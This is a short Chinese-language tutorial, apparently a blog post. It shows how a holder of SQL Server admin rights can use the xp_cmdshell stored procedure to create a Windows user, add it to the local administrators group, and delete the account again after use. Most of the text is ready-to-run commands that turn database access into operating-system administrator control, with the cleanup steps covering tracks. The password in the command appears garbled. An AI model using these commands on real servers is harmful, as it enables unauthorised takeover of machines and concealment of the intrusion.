如果我們有某服務器sql server的管理員權(quán)限，如果服務器沒有做特殊限制的話，我們可以輕松的在這臺服務器上添加系統(tǒng)管理員用戶。

方法，打開查詢分析器，連接到服務器sql server的master庫，執(zhí)行如下sql語句

xp_cmdshell 'net user mmcgzs [email protected]# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'

使用完以后刪除

xp_cmdshell 'net localgroup administrators mmcgzs /delete'
xp_cmdshell 'net user mmcgzs /delete'

查看已有的系統(tǒng)用戶

xp_cmdshell 'net user '

xp_cmdshell 是sql的一個擴展那存儲過程，用于執(zhí)行一個命令行語句，我們使用net user /add添加一個用戶，然后使用 net localgroup 命令把這個用戶添加到管理員組，就這么簡單。